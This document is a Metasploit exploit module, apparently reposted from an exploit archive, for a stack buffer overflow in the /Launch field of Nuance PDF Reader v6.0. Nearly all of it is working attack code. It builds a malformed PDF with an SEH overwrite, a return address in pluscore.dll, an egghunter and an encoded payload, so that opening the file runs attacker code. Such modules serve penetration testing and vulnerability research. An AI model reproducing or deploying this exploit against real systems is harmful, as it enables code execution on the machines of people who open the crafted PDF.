Nuance PDF Reader v6.0 Launch Stack Buffer Overflow

`##  
# $Id: nuance_pdf_launch_overflow.rb 10613 2010-10-08 22:59:19Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Nuance PDF Reader v6.0 Launch Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in Nuance PDF Reader v6.0. The vulnerability is  
triggered when opening a malformed PDF file that contains an overly long string in a /Launch field. This results in overwriting a structured exception handler record.  
This exploit does not use javascript.  
},  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 10613 $",  
'Author' =>  
[  
'corelanc0d3r',  
'rick2600',  
],  
'References' =>  
[  
[ 'OSVDB', '68514'],  
[ 'URL', 'http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-062-stack-buffer-overflow-in-nuance-pdf-reader-v6-0/' ]  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x22\x28\x29\x2F\x5c\x3c\x3e\x5e\x7e",  
  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Nuance PDF Reader v6.x (XP SP3)', { 'Ret' => 0x10191579, 'Offset' => 1290 } ] #ppr - pluscore.dll  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The output filename.', 'corelannuance.pdf']),  
OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/']),  
  
], self.class)  
end  
  
def exploit  
  
file_name = datastore['FILENAME']  
  
badchars=""  
eggoptions =  
{  
:checksum => true,  
:eggtag => "w00t"  
}  
hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)  
  
pdfpart1 = "%PDF-1.4\n"  
pdfpart1 << "1 0 obj\n"  
pdfpart1 << "<</Type/Page/Parent 4 0 R /Resources 6 0 R /MediaBox[ 0 0 000 000]"  
pdfpart1 << "/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R "  
pdfpart1 << "/Annots[ 24 0 R 25 0 R 9 0 R ]>>\n"  
pdfpart1 << "endobj\n"  
pdfpart1 << "4 0 obj\n"  
pdfpart1 << "<</Type/Pages/Resources 6 0 R /MediaBox[ 0 0 000 000]/Kids[ 1 0 R ]/Count 1>>\n"  
pdfpart1 << "endobj\n"  
pdfpart1 << "7 0 obj\n"  
pdfpart1 << "<</Type/Catalog/Pages 4 0 R /OpenAction[ 1 0 R /XYZ null null 0]/Lang(en-US)/Names 28 0 R >>\n"  
pdfpart1 << "endobj\n"  
pdfpart1 << "9 0 obj\n"  
pdfpart1 << "<</Type/Annot/Subtype/Screen/P 1 0 R /M(E:000000000000000-00'00')/F 4/Rect[ "  
pdfpart1 << "000.000 000.000 000.000 000.000]/BS<</S/S/W 1>>/BE<</S/S>>/MK<</BC[ 0 0 1]"  
pdfpart1 << "/R 0/IF<</SW/A/S/A/FB false/A[ 0.5 0.5]>>>>/AP<</N 10 0 R >>/T()/A 12 0 R /AA 17 0 R >>\n"  
pdfpart1 << "endobj\n"  
pdfpart1 << "16 0 obj\n"  
pdfpart1 << "<</Type/Action/S/Launch/F<</F(/C/"  
  
pdfpart2 = ")>>/NewWindow true>>\n"  
pdfpart2 << "endobj\n"  
pdfpart2 << "17 0 obj\n"  
pdfpart2 << "<</PV 16 0 R >>\n"  
pdfpart2 << "endobj\n"  
pdfpart2 << "trailer\n"  
pdfpart2 << "<</Root 7 0 R /Info 8 0 R /ID[<00000000000000000000000000000000><00000000000000000000000000000000>]"  
pdfpart2 << "/DocChecksum/00000000000000000000000000000000/Size 31>>\n"  
pdfpart2 << "startxref\n"  
pdfpart2 << "0000\n"  
pdfpart2 << "%%EOF\n"  
  
buffer = "\x01" * target['Offset']  
nseh = "\xeb\x06\x41\x41"  
seh = [target.ret].pack('V')  
buffer2 = "\x01" * (6908 - hunter.length - egg.length)  
  
tweakhunter = "\x5a"  
  
makepdf = pdfpart1 + buffer + nseh + seh + tweakhunter + hunter + egg + buffer2 + pdfpart2  
  
print_status("Creating '#{datastore['FILENAME']}' file...")  
file_create(makepdf)  
  
end  
  
end  
`